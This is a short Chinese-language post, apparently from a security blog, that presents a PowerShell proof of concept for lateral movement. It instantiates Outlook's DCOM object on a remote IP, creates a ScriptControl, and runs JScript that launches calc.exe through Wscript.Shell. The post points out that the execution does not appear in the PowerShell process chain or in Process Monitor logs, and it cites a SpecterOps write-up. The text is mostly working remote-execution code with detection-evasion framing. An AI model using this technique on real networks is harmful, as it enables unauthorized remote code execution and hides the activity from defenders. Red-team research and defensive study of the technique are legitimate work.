原理:通过powershell调用Outlook的DCOM组件,可以执行js脚本,原文中的demo是结合DotNetToJScript框架+C#程序来做的,我这里比较懒,直接用js写的脚本。
由于是COM调用,所以进程链关系不会关联到powershell。通过Process Monitor等工具也监控不到相关日志。
运行效果图:
Powershell代码:
$com = [Type]::GetTypeFromProgID('Outlook.Application’,’这里替换成你的IP’)
$object = [System.Activator]::CreateInstance($com)
$RemoteScriptControl = $object.CreateObject(“ScriptControl”)
$RemoteScriptControl.Language = “JScript”
$code = "var ax = new ActiveXObject('Wscript.Shell');ax.run('calc.exe',0)"
$RemoteScriptControl.AddCode($code)
参考资料:https://posts.specterops.io/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript-a88a81df27eb